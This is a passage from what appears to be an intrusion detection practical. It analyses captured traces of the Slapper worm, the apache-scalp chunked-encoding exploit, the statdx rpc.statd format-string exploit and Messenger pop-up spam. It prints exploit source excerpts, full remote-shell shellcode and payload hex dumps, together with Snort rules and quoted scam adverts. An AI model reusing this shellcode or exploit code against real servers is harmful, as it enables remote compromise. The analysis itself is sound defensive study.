• Server is an unlisted Apache version & architecture combination – prepare attack for Apache 1.2.32 on RedHat (default)

The exploit requires two separate connections to the server and that each server process has the same memory and heap layout. To force Apache to spawn two fresh “identical twin” processes to handle these connections, the worm exhausts Apache’s pool of servers first by initiating up to 20 connections at 100 millisecond intervals (Figure 7).

In the next step, Figure 8, the worm sends a normalized ssl ‘client hello’ message, which contains the client’s argument (to later verify the encryption scheme) and advertises numerous cipher suites (though it works only with 128-bit RC4 with MD5 – we see the client select this cipher suite in the next step).

Figure 9 shows the initial buffer overflow which is used to locate the heap in the Apache process address space. The second buffer overflow uses this address to inject its attack buffer and shell code). The worm specifies a 64-byte key argument length when the allocated buffer size is 8 bytes. libssl on the server reads this value but does no bounds checking, writing the 56 (64-8) bytes of arbitrary data to the ssl session structure following the positioning of the key argument value.

This places the 4th to the last byte in the packet (0x70), or 112 decimal, in the space reserved for the ‘session id’ length on the server. According to protocol, when the server sends its ‘server-finished’ message, it includes the ‘session id’ data. However, now the server believes this field to be 112 bytes long and leaks all data within 112 bytes of the start of ‘session id’ back to the client. Of particular interest to the worm is a field called ‘ciphers’ that points to the structure allocated on the heap directly after the ssl session structure. This location in memory is vital to the success of the second overflow.

During the second overflow, the heap management data and shell code are then loaded onto the server. The bytes are placed at the location specified in the leaked data from the first overflow. Once completed, the worm sends a ‘client-finished’ message specifying a bogus connection ID, causing the server to abort and call ‘free()’ to un-allocate the used memory blocks. The modified entries cause execution of the shell code already residing in memory. This mechanism is not discussed further because the trace does not reveal it happening. Since the first overflow was not successful, the worm did not continue with the second.

Correlations & References

• Symantec Security Response: Peter Szor and Frederic Perriot An Analysis of the Slapper Worm Exploit
• CERT Advisory CA-2002-27 Apache/mod_ssl Worm
• OpenSSL Security Advisory
• bugtrac.c source code
• Internet Storm Center OpenSSL Vulnerabilities Discussion
• Joseph M. Lofshult’s GIAC GCIH Practical v2.1a Linux Slapper Was Just the Tip of the Iceberg – An Exploit in Action

Evidence of Active Targeting
The worm is coded to ignore private address ranges such as 192.168.0.0/16 so it will not spread across local area networks. It only appears to be attacking 192.168.1.101 because of destination network address translation (IPtables DNAT). The ranges of IP addresses to scan are stored in the form a.b.c.d. The first octet is randomly chosen from a list of values defined in the unsigned character array named ‘classes[]’ in the source code. The second octet is a randomly chosen integer between 0 and 255 with the C library function ‘rand()’. For the third and fourth octets, c and d, the worm iterates through the entire range of 1-254.

Severity
Severity = (Criticality + Lethality) –- (System Countermeasures + Network Countermeasures)
Target Criticality: 4 (This is an important FTP and HTTP server)
Attack Lethality: 5 (if successful this would lead to complete compromise of the server and its data)
System Countermeasures: 4 (Vulnerable software is patched & updated but other patches may be missing)
Network Countermeasures: 2 (The firewall nor the router blocked these packets but they were detected by the IDS)
Severity = (4 + 5) – (4 + 2) = 3

Defense Recommendations
Install the patched mod_ssl module and OpenSSL libraries. Edit httpd.conf to limit the amount of server information reported in error messages.

Apache Web Server Chunk Handling Vulnerability

A bug exists in the way un-patched Apache web servers handle chunked encoding transfers. The original exploit by GOBBLES Security, apache-scalp.c, granted the attacker a remote shell (as did apache-nosejob.c). Worms such as FreeBSD/Scalper were later built on the apache-scalp.c framework – they added self-propagation mechanisms to the exploit. Since several exploits exist and we cannot be sure exactly which one was used, we will use apache-scalp.c, because it contains the basic code needed to present and understand the exploit. The trace is broken up into sections and the corresponding source code, which produced the trace, preceds each portion.

02/21-13:50:16.010958 [**] [1:1881:4] WEB-MISC bad HTTP/1.1 request, Potentially worm attack [**] [Classification: access to a potentially
vulnerable web application] [Priority: 2] {TCP} 202.108.35.205:2553 -> 192.168.1.101:80

02/21-13:50:18.123357 [**] [1:1809:2] WEB-MISC Apache Chunked-Encoding worm attempt [**] [Classification: Web Application Attack] [Priority: 1] {TCP} 202.108.35.205:2589 -> 192.168.1.101:80

< SNIP 20 more Apache Chunked-Encoding worm alerts >

02/21-13:50:23.957859 [**] [1:1807:1] WEB-MISC Transfer-Encoding: chunked [**] [Classification: Web Application Attack] [Priority: 1] {TCP} 202.108.35.205:2589 -> 192.168.1.101:80

02/21-14:50:16.010958 202.108.35.205:2553 -> 192.168.1.101:80
TCP TTL:47 TOS:0x0 ID:51889 IpLen:20 DgmLen:70 DF
***AP*** Seq: 0x6983C5FE Ack: 0x9A539E78 Win: 0x8160 TcpLen: 32
TCP Options (3) => NOP NOP TS: 363045920 67086875
47 45 54 20 2F 20 48 54 54 50 2F 31 2E 31 0D 0A GET / HTTP/1.1..
0D 0A                                           ..

Above: The invalid GET request for information gathering. The server’s response is used to determine if it is vulnerable or not. No source code precedes this packet because it was not part of the original exploit.

#define REP_SHELLCODE 24
#define PADSIZE_3 7
#define PADDING_3 'C'
#define NOPCOUNT 1024
#define NOP 0x41

char shellcode[] =
"\x89\xe2\x83\xec\x10\x6a\x10\x54\x52\x6a\x00\x6a\x00\xb8\x1f"
"\x00\x00\x00\xcd\x80\x80\x7a\x01\x02\x75\x0b\x66\x81\x7a\x02"
"\x42\x41\x75\x03\xeb\x0f\x90\xff\x44\x24\x04\x81\x7c\x24\x04"
"\x00\x01\x00\x00\x75\xda\xc7\x44\x24\x08\x00\x00\x00\x00\xb8"
"\x5a\x00\x00\x00\xcd\x80\xff\x44\x24\x08\x83\x7c\x24\x08\x03"
"\x75\xee\x68\x0b\x6f\x6b\x0b\x81\x34\x24\x01\x00\x00\x01\x89"
"\xe2\x6a\x04\x52\x6a\x01\x6a\x00\xb8\x04\x00\x00\x00\xcd\x80"
"\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50"
"\x52\x89\xe1\x50\x51\x52\x50\xb8\x3b\x00\x00\x00\xcd\x80\xcc";

< SNIP several lines left out >

PUT_STRING("GET / HTTP/1.1\r\nHost: apache-scalp.c\r\n");

for (i = 0; i < REP_SHELLCODE; i++) {
PUT_STRING("X-");
PUT_BYTES(PADSIZE_3, PADDING_3);
PUT_STRING(": ");
PUT_BYTES(NOPCOUNT, NOP);
memcpy(p, shellcode, sizeof(shellcode) - 1);
p += sizeof(shellcode) - 1;
PUT_STRING("\r\n");
}


02/21-14:50:18.123357 202.108.35.205:2589 -> 192.168.1.101:80
TCP TTL:47 TOS:0x0 ID:52470 IpLen:20 DgmLen:1492 DF
***A**** Seq: 0x86B947F6 Ack: 0x9B56F5F4 Win: 0x8160 TcpLen: 32
TCP Options (3) => NOP NOP TS: 363046123 67087913 
50 4F 53 54 20 2F 20 48 54 54 50 2F 31 2E 31 0D POST / HTTP/1.1.
0A 48 6F 73 74 3A 20 55 6E 6B 6E 6F 77 6E 0D 0A .Host: Unknown..
58 2D 43 43 43 43 43 43 43 3A 20 41 41 41 41 41 X-CCCCCCC: AAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

< SNIP several 0x41 lines left out >

41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 68 47 47 47 47 AAAAAAAAAAAhGGGG
89 E3 31 C0 50 50 50 50 C6 04 24 04 53 50 50 31 ..1.PPPP..$.SPP1
D2 31 C9 B1 80 C1 E1 18 D1 EA 31 C0 B0 85 CD 80 .1........1.....
72 02 09 CA FF 44 24 04 80 7C 24 04 20 75 E9 31 r....D$..|$. u.1
C0 89 44 24 04 C6 44 24 04 20 89 64 24 08 89 44 ..D$..D$. .d$..D
24 0C 89 44 24 10 89 44 24 14 89 54 24 18 8B 54 $..D$..D$..T$..T
24 18 89 14 24 31 C0 B0 5D CD 80 31 C9 D1 2C 24 $...$1..]..1..,$
73 27 31 C0 50 50 50 50 FF 04 24 54 FF 04 24 FF s'1.PPPP..$T..$.
04 24 FF 04 24 FF 04 24 51 50 B0 1D CD 80 58 58 .$..$..$QP....XX
58 58 58 3C 4F 74 0B 58 58 41 80 F9 20 75 CE EB XXX<Ot.XXA.. u..
BD 90 31 C0 50 51 50 31 C0 B0 5A CD 80 FF 44 24 ..1.PQP1..Z...D$
08 80 7C 24 08 03 75 EF 31 C0 50 C6 04 24 0B 80 ..|$..u.1.P..$..
34 24 01 68 42 4C 45 2A 68 2A 47 4F 42 89 E3 B0 4$.hBLE*h*GOB...
09 50 53 B0 01 50 50 B0 04 CD 80 31 C0 50 68 6E .PS..PP....1.Phn
2F 73 68 68 2F 2F 62 69 89 E3 50 53 89 E1 50 51 /shh//bi..PS..PQ
53 50 B0 3B CD 80 CC 0D 0A 58 2D 43 43 43 43 43 SP.;.....X-CCCCC
43 43 3A 20 41 41 41 41 41 41 41 41 41 41 41 41 CC: AAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

< SNIP 23 more shellcode blocks separated by 1024 0x41 bytes each >

Above: Repeated NOP and shellcode blocks. We see a slight variation from apache-scalp.c - the HTTP method ‘POST’ is used instead of ‘GET’. Also the Host is ‘Unknown’ rather than ‘apache-scalp.c.’ We do see the shellcode and exact patterns and repetitions of NOPs as specified in the original source code.

#define REP_POPULATOR 24
#define PADSIZE_1 4
#define PADDING_1 'A'
#define REP_RET_ADDR 6
#define REP_ZERO 36

< SNIP several lines left out >

for (i = 0; i < REP_POPULATOR; i++) {
PUT_STRING("X-");
PUT_BYTES(PADSIZE_1, PADDING_1);
PUT_STRING(": ");
for (j = 0; j < REP_RET_ADDR; j++) {
*p++ = retaddr & 0xff;
*p++ = (retaddr >> 8) & 0xff;
*p++ = (retaddr >> 16) & 0xff;
*p++ = (retaddr >> 24) & 0xff;
}

PUT_BYTES(REP_ZERO, 0);
PUT_STRING("\r\n");
}

< SNIP repeated zero and return address blocks >

00 00 00 00 00 00 00 00 00 00 00 00
00 00 0D 0A ................
58 2D 41 41 41 41 3A 20 00 DE BF BF 00 DE BF BF X-AAAA: ........
00 DE BF BF 00 DE BF BF 00 DE BF BF 00 DE BF BF ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 0D 0A 58 2D 41 41 41 41 3A 20 00 DE ......X-AAAA: ..
BF BF 00 DE BF BF 00 DE BF BF 00 DE BF BF 00 DE ................
BF BF 00 DE BF BF 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 0D 0A 58 2D 41 41 ............X-AA
41 41 3A 20 00 DE BF BF 00 DE BF BF 00 DE BF BF AA: ............
00 DE BF BF 00 DE BF BF 00 DE BF BF 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0D 0A 58 2D 41 41 41 41 3A 20 00 DE BF BF 00 DE ..X-AAAA: ......
BF BF 00 DE BF BF 00 DE BF BF 00 DE BF BF 00 DE ................
BF BF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

< SNIP repeated zero and return address blocks >

#define PADSIZE_2 5
#define PADDING_2 'B'
#define MEMCPY_s1_OWADDR_DELTA -146

PUT_STRING("Transfer-Encoding: chunked\r\n");
snprintf(buf, sizeof(buf) - 1, "\r\n%x\r\n", PADSIZE_2);
PUT_STRING(buf);
PUT_BYTES(PADSIZE_2, PADDING_2);
snprintf(buf, sizeof(buf) - 1, "\r\n%x\r\n", MEMCPY_s1_OWADDR_DELTA);
PUT_STRING(buf);

< SNIP repeated zero and return address blocks >

0D 0A 58 2D 41 41 41 41 3A 20 00 DE BF BF 00 DE ..X-AAAA: ......
BF BF 00 DE BF BF 00 DE BF BF 00 DE BF BF 00 DE ................
BF BF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 0D 0A 54 72 61 6E 73 66 65 72 ........Transfer
2D 45 6E 63 6F 64 69 6E 67 3A 20 63 68 75 6E 6B -Encoding: chunk
65 64 0D 0A 0D 0A 35 0D 0A 42 42 42 42 42 0D 0A ed....5..BBBBB..
66 66 66 66 66 66 36 65 0D 0A ffffff6e..

Above: This packet contains the end of the zero and return address blocks. What follows is the actual exploit. The client requests a chunked encoding transfer. It specifies the length of the chunk is 5 bytes then transmits the 5 bytes (BBBBB). All is well up until now, however with the next specified chunk length (-146), the bug in Apache incorrectly allocates memory. When the chunk is sent, it overflows the receiving buffer and overwrites the return address pointer. The new return address points to the shellcode already residing in memory and padded by NOPs.

Source of Trace
A Linux server residing on a small Ethernet LAN designed for packet sniffing.

Detect Generated By
This detect was generated by Snort in host-based intrusion detection mode, running on the destination address, 192.168.1.101. The following 3 rules generated the above 3 alerts, respectively:

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC bad HTTP/1.1 request, Potentially worm attack"; flow:to_server,established;
content:"GET / HTTP/1.1|0d 0a 0d 0a|"; offset:0; depth:18; reference:url,securityresponse.symantec.com/avcenter/security/Content/2002.09.13.html;
classtype:web-application-activity; sid:1881; rev:4;)

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Apache Chunked-Encoding worm attempt"; flow:to_server,established;
content:"CCCCCCC\: AAAAAAAAAAAAAAAAAAA"; nocase; classtype:web-application-attack; reference:bugtraq,4474;
reference:cve,CAN-2002-0079;reference:bugtraq,5033; reference:cve,CAN-2002-0392; sid:1809; rev:2;)

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Transfer-Encoding\: chunked"; flow:to_server,established;
content:"Transfer-Encoding\:"; nocase; content:"chunked"; nocase; classtype:web-application-attack; reference:bugtraq,4474;
reference:cve,CAN-2002-0079; reference:bugtraq,5033; reference:cve,CAN-2002-0392; sid:1807; rev:1;)

Probability the Source Address Was Spoofed
The source address in this attack would not be spoofed. There must be an established TCP session before sending the exploit data. Aside from the man-in-the-middle attack discussed earlier, an attacker could also cause an intermediate router to direct traffic to an alternate location; however there is no evidence of this.

Attack Mechanism
See comments and source code excerpts for details. The exploit’s first packet gathers information about the target, which it uses to tune the attack parameters. Next we see a series of NOP, shellcode, and return address blocks followed by a chunked encoding transfer request. According to protocol, the sender specifies the length of a data stream it is about to send and then sends it. This exploit specifies a negative value for the size of the data stream which causes a bug in the Apache process to overflow arbitrary data onto the buffer, overwriting the return address field. When the procedure finishes it reads the crafted return address pointer, jumps to that location, and begins executing whatever is there, which just happens to be the attacker’s shell code.

• iDEFENSE Labs Analyzes Apache Worm
• Apache Security Bulletin
• CERT Advisory CA-2002-17 Apache Web Server Chunk Handling Vulnerability
• William Reilly’s GIAC GIHC Practical v2.1 “Apache Web Server: A Chunk in the Armor” Exploiting the Chunked Encoding Vulnerability
• Martin C. Walker’s GIAC GIHC Practical v2.1 Apache Web Server Chunk Handling Vulnerability – An Exploit in Action
• apache.scalp.c source code by GOBBLES Security
• apache.worm.c source code – a variant of apache-scalp.c with worm replicaton
• Security Focus Bugtraq Archive Mailing List RE: Apache Vulnerability through a Proxy?

Evidence of Active Targeting
This is difficult to assess because we are not positive exactly which exploit caused the trace. For example, if the original apache-scalp.c is responsible there is a good chance of active targeting – the exploit is called by command line and an IP address as an argument. The self-propagating variants, however, leave a similar network trace but spread to machines in the same manner as Slapper.A (a hard coded upper octet, random selection of the second, and iteration through the third and fourth).

Severity
Severity = (Criticality + Lethality) –- (System Countermeasures + Network Countermeasures)
Target Criticality: 4 (This is an important FTP and HTTP server)
Attack Lethality: 5 (if successful this would grant a shell to the attacker)
System Countermeasures: 4 (Vulnerable software is patched & updated but other patches may be missing)
Network Countermeasures: 2 (The firewall nor the router blocked these packets but they were detected by the IDS)
Severity = (4 + 5) – (4 + 2) = 3

Defense Recommendations
Install patched or updated Apache software.

Input Validation Problem in rpc.statd

Several exploits exist for vulnerabilities in the Remote Procedure Call processes. The one presented here, statdx.c, could have produced the following network trace, however so could one of the many others. statdx.c was chosen because it was available and contains the basic source code required for the exploit, which also appears in the network trace.

Snort Alert(s):

02/25-03:11:25.915950 [**] [1:587:2] RPC portmap request status [**] [Classification: Decode of an RPC Query] [Priority: 2] {UDP}
210.76.97.249:885 -> 192.168.1.101:111

02/25-03:11:26.346530 [**] [1:1282:2] RPC EXPLOIT statdx [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {UDP}
210.76.97.249:886 -> 192.168.1.101:32768

02/25-04:11:25.915950
210.76.97.249:885 -> 192.168.1.101:111
UDP TTL:47 TOS:0x0 ID:38032 IpLen:20 DgmLen:84 Len: 56
5B E5 CD 43 00 00 00 00 00 00 00 02 00 01 86 A0 [..C............
00 00 00 02 00 00 00 03 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 01 86 B8 00 00 00 01 ................
00 00 00 11 00 00 00 00                         ........

02/25-04:11:26.346530
210.76.97.249:886 -> 192.168.1.101:32768
UDP TTL:47 TOS:0x0 ID:38048 IpLen:20 DgmLen:1104 Len: 1076
6C CE 01 71 00 00 00 00 00 00 00 02 00 01 86 B8 l..q............
00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 20 ............... 
3E 5B 23 8C 00 00 00 09 6C 6F 63 61 6C 68 6F 73 >[#.....localhos
74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 t...............
00 00 00 00 00 00 00 00 00 00 03 E7 18 F7 FF BF ................
18 F7 FF BF 1A F7 FF BF 1A F7 FF BF 25 38 78 25 ............%8x%
38 78 25 38 78 25 38 78 25 38 78 25 38 78 25 38 8x%8x%8x%8x%8x%8
78 25 38 78 25 38 78 25 36 32 37 31 36 78 25 68 x%8x%8x%62716x%h
6E 25 35 31 38 35 39 78 25 68 6E 90 90 90 90 90 n%51859x%hn.....
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................

< SNIP – 46 repeat lines of 0x90 hops >

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 31 C0 ..............1.
EB 7C 59 89 41 10 89 41 08 FE C0 89 41 04 89 C3 .|Y.A..A....A...
FE C0 89 01 B0 66 CD 80 B3 02 89 59 0C C6 41 0E .....f.....Y..A.
99 C6 41 08 10 89 49 04 80 41 04 0C 88 01 B0 66 ..A...I..A.....f
CD 80 B3 04 B0 66 CD 80 B3 05 30 C0 88 41 04 B0 .....f....0..A..
66 CD 80 89 CE 88 C3 31 C9 B0 3F CD 80 FE C1 B0 f......1..?.....
3F CD 80 FE C1 B0 3F CD 80 C7 06 2F 62 69 6E C7 ?.....?..../bin.
46 04 2F 73 68 41 30 C0 88 46 07 89 76 0C 8D 56 F./shA0..F..v..V
10 8D 4E 0C 89 F3 B0 0B CD 80 B0 01 CD 80 E8 7F ..N.............
FF FF FF 00                                     ....

The following excerpt from the exploit’s source code shows the machine language translation for each byte of the shell code. For clarity, the first two bytes are highlighted in the source code and where they appear in the network trace; the rest follow in succession.

char shellcode[] =
"\x31\xc0" /* xorl %eax,%eax */
/* jmp ricochet ------------------------------------------------------- */
"\xeb\x7c" /* jmp 0x7c */
/* kungfu: ------------------------------------------------------------ */
"\x59" /* popl %ecx */
"\x89\x41\x10" /* movl %eax,0x10(%ecx) */
/* ------------------------------------ socket(2,1,0); ---------------- */
"\x89\x41\x08" /* movl %eax,0x8(%ecx) */
"\xfe\xc0" /* incb %al */
"\x89\x41\x04" /* movl %eax,0x4(%ecx) */
"\x89\xc3" /* movl %eax,%ebx */
"\xfe\xc0" /* incb %al */
"\x89\x01" /* movl %eax,(%ecx) */
"\xb0\x66" /* movb $0x66,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ bind(sd,&sockaddr,16); --------
*/
"\xb3\x02" /* movb $0x2,%bl */
"\x89\x59\x0c" /* movl %ebx,0xc(%ecx) */
"\xc6\x41\x0e\x99" /* movb $0x99,0xe(%ecx) */
"\xc6\x41\x08\x10" /* movb $0x10,0x8(%ecx) */
"\x89\x49\x04" /* movl %ecx,0x4(%ecx) */
"\x80\x41\x04\x0c" /* addb $0xc,0x4(%ecx) */
"\x88\x01" /* movb %al,(%ecx) */
"\xb0\x66" /* movb $0x66,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ listen(sd,blah); -------------- */
"\xb3\x04" /* movb $0x4,%bl */
"\xb0\x66" /* movb $0x66,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ accept(sd,0,16); -------------- */
"\xb3\x05" /* movb $0x5,%bl */
"\x30\xc0" /* xorb %al,%al */
"\x88\x41\x04" /* movb %al,0x4(%ecx) */
"\xb0\x66" /* movb $0x66,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ dup2(cd,0); ------------------- */
"\x89\xce" /* movl %ecx,%esi */
"\x88\xc3" /* movb %al,%bl */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb0\x3f" /* movb $0x3f,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ dup2(cd,1); ------------------- */
"\xfe\xc1" /* incb %cl */
"\xb0\x3f" /* movb $0x3f,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ dup2(cd,2); ------------------- */
"\xfe\xc1" /* incb %cl */
"\xb0\x3f" /* movb $0x3f,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ execve("/bin/sh",argv,0); ----- */
"\xc7\x06\x2f\x62\x69\x6e" /* movl $0x6e69622f,(%esi) */
"\xc7\x46\x04\x2f\x73\x68\x41" /* movl $0x4168732f,0x4(%esi) */
"\x30\xc0" /* xorb %al,%al */
"\x88\x46\x07" /* movb %al,0x7(%esi) */
"\x89\x76\x0c" /* movl %esi,0xc(%esi) */
"\x8d\x56\x10" /* leal 0x10(%esi),%edx */
"\x8d\x4e\x0c" /* leal 0xc(%esi),%ecx */
"\x89\xf3" /* movl %esi,%ebx */
"\xb0\x0b" /* movb $0xb,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ exit(blah); ------------------- */
"\xb0\x01" /* movb $0x1,%al */
"\xcd\x80" /* int $0x80 */
/* ricochet: call kungfu ---------------------------------------------- */
"\xe8\x7f\xff\xff\xff"; /* call -0x81 */

Below are the two network traces decoded by the Ethereal Network Analyzer:

User Datagram Protocol, Src Port:
885 (885), Dst Port: sunrpc (111)
Source port: 885 (885)
Destination port: sunrpc (111)
Length: 64
Checksum: 0xce99 (correct)
Remote Procedure Call
XID: 0x5be5cd43 (1541786947)
Message Type: Call (0)
RPC Version: 2
Program: Portmap (100000)
Program Version: 2
Procedure: GETPORT (3)
Credentials
Flavor: AUTH_NULL (0)
Length: 0
Verifier
Flavor: AUTH_NULL (0)
Length: 0
Portmap
Program Version: 2
V2 Procedure: GETPORT (3)
Program: STAT (100024)
Version: 1
Proto: UDP (17)
Port: 0

User Datagram Protocol, Src Port: 886 (886), Dst Port: 32768 (32768)
Source port: 886 (886)
Destination port: 32768 (32768)
Length: 1084
Checksum: 0xb0d4 (correct)
Remote Procedure Call
XID: 0x6cce0171 (1825440113)
Message Type: Call (0)
RPC Version: 2
Program: STAT (100024)
Program Version: 1
Procedure: STAT (1)
Credentials
Flavor: AUTH_UNIX (1)
Length: 32
Stamp: 0x3e5b238c
Machine Name: localhost
length: 9
contents: localhost
fill bytes: opaque data
UID: 0
GID: 0
Auxiliary GIDs
Verifier
Flavor: AUTH_NULL (0)
Length: 0
Network Status Monitor Protocol
Program Version: 1
V1 Procedure: STAT (1)
Length: 999
Fill bytes: opaque data

Source of Trace
A Linux server residing on a small Ethernet LAN designed for packet sniffing.

Detect Generated By
This detect was generated by Snort in host-based intrusion detection mode, running on the destination address, 192.168.1.101. The following rules were responsible:

alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap status request UDP"; content:"|00 00 00 00|"; offset:4; depth:4; content:"|00 01 86
A0|"; offset:12; depth:4; content:"|00 00 00 03|"; distance:4; within:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01
86 B8|"; within:4; reference:arachnids,15; classtype:rpc-portmap-decode; sid:587; rev:6;)

alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC EXPLOIT statdx"; content: "/bin|c74604|/sh"; reference:arachnids,442; classtype:attempted-admin; sid:1282; rev:3;)

The tcpdump-formatted binary file produced by Snort was then played back with the Ethereal Network Analyzer to decode the RPC protocol.

Probability the Source Address Was Spoofed
The statdx.c exploit in particular does not have an option for forging the source address, however variations may. If the port number rpc.statd listens on is already known we can attack directly and skip the query to portmapper first. This shaves the entire exploit to a single UDP packet which can easily be spoofed without hindering the attack itself.

Attack Mechanism
An attacker queries the portmap program on the target host for the port that rpc.statd is listening on. This consists of a small packet to TCP or UDP port 111 of the target host specifying a ‘GETPORT’ procedure for the STAT program (100024); these values are highlighted in the decoding by Ethereal. The exploit then crafts its next packet with carefully chosen shell code and sends it to the port rpc.statd is listening on. If accepted by the program, a format string vulnerability in a call to ‘syslog()’ within its

logging module will cause data on the target system’s stack to be overwritten with arbitrary data.

Through the 1076 bytes of payload data we see the hostname, UID, and GID values which are traditionally passed to rpc services as credentials; these values are also highlighted in the decoding by Ethereal. Successful execution will grant a shell (/bin/sh) on the target system listening on port 39168 with the same PID, UID, and GID of the original rpc.statd process.

• Cert Advisory CA-2000-17 Input Validation Problem in rpc.statd
• Security Focus - Multiple Linux Vendor rpc.statd Remote Format String Vulnerability
• George Bakos’ GIAC Intrusion Detection Practical – rpc.statd exploit
• statdx.c source code by ronin

Evidence of Active Targeting
statdx.c is a command line exploit with several options such as the target IP and port number at which to aim the attack. As far as I can tell the exploit does not accept IP ranges as a target. In other words if the network trace came from statdx.c we are being actively targeted – our IP address was manually typed into the remote machine’s terminal. However, as mentioned several times, an exploit variant could easily modify the code to accept large network ranges. With the information given, both scenarios are equally likely.

Severity
Severity = (Criticality + Lethality) –- (System Countermeasures + Network Countermeasures)
Target Criticality: 4 (This is an important FTP and HTTP server)
Attack Lethality: 5 (if successful this would grant a shell to the attacker)
System Countermeasures: 4 (Vulnerable software is patched & updated but others might be missing)
Network Countermeasures: 2 (The firewall nor the router blocked these packets but they were detected by the IDS)
Severity = (4 + 5) – (4 + 2) = 3

Defense Recommendations
TCP and UDP port 111 (others possibly) should be blocked at the firewall if portmapper needs to be running on one of the network’s hosts. This will not eliminate the vulnerability in rpc.statd however, and a brute force or lucky guess to the process’ port would be just as effective as querying portmapper first. The services should be disabled or updated to secure versions.

Windows Messenger Pop-Up Spam

This is a collection of advertisements captured on their way to UDP ports 135 and 1026.

GOLARGER

www.golarger.com
www.golarger.com
www.golarger.com

We are the #1 MALE ORGAN ENLARGEMENT
Supplement on the web. We guarantee the 
Success of our program or we will refund every
penny. Come find out why more men AND WOMEN
come to us than any other site

Enlarge your member 1-3 inches in a matter of days!

www.golarger.com
www.golarger.com
www.golarger.com

-------------------------------------------------------------------------------

WARNING You How To Disable These Popups

A new wave in Internet advertising is coming. Its
called the Messenger service and its built directly
into your Windows operating system. It is only a 
matter of time before the email spammers that fill
your inbox learn about this and flood you with porn
and pyramid scam popups that monopolize your screen.
Fix this today! Visit: www.MessageStop.net

-------------------------------------------------------------------------------

Stop-It-Now

If you are reading this message it is because your
computer is vulnerable to internet attacks. It is
open to hackers and the scum of the internet. Close 
this wide open hole today by installing StopItNow. 
HIGH security for a LOW price, and it’s guaranteed
100% effective.

Visit: www.StopItNow.net

SYSTEM ALERT COMPUTER USERS

***SECURITY WARNING***

The receipt of this message confirms a possible
*Security Risk* on your computer. Your Messenger
Service is open to Internet Attackers! To stop 
these messenger PopUps and protect yourself please
go to www.ENDADS.com. Pressing OK will not take 
you to www.ENDADS.com so write down the website
before pressing OK. www.ENDADS.com

Source of Trace
The border router and firewall to a small Ethernet LAN.

Detect Generated By
This detect was generated by Snort in host-based intrusion detection mode, running on the external (WAN) interface of the network’s border router and firewall.

Probability the Source Address Was Spoofed
The probability is extremely high. Out of the mix we have a DNS server for Hirosaki Gakuin University in Japan, a Level 3 Communications Inc. dial-up account, a computer registered to Multi Media International, and another to a small business in China. These systems are either distributing advertisements on behalf of www.golarger.com, www.MessageStop.net, www.StopItNow.net, and www.ENDADS.com, or more likely – their addresses are being used as a cover up for the real sources.

Attack Mechanism
The Windows Messenger Service listens on UDP ports 135 and/or 1026 and allows anonymous pop-up messages to be displayed on the computer running the messenger service. Spammers construct their messages and direct them at these ports which appear as a small graphical window on the target system’s screen.

• Lurhq Advisory for Windows Messenger Popup Spam on UDP port 1026
• Microsoft How-To Articles: Stopping Advertisements with Messenger Service Titles
• Microsoft Knowledge Base Article – 330904 Messenger Service Window That Contains an Internet Advertisement Appears
• Jeremy Hewlett’s GIAC GCIH Practical v2.1a Support for the Cyber Defense Initiative: Messenger Service abuse via Microsoft RPC

Evidence of Active Targeting
None. Considering the nature (advertisement) protocol (UDP) and correlations (many) we can be reasonably assured that these packets are being broadcasted to a wide distribution of targets.

Severity
Severity = (Criticality + Lethality) –- (System Countermeasures + Network Countermeasures)
Target Criticality: 5 (This includes the networks firewall)
Attack Lethality: 1 (this is a low-bandwidth spamming and is not dangerous in itself)
System Countermeasures: 5 (messenger service is not active and the system is Unix)
Network Countermeasures: 5 (The firewall is configured to block these packets)
Severity = (5 + 1) – (5 + 5) = -4

Defense Recommendations
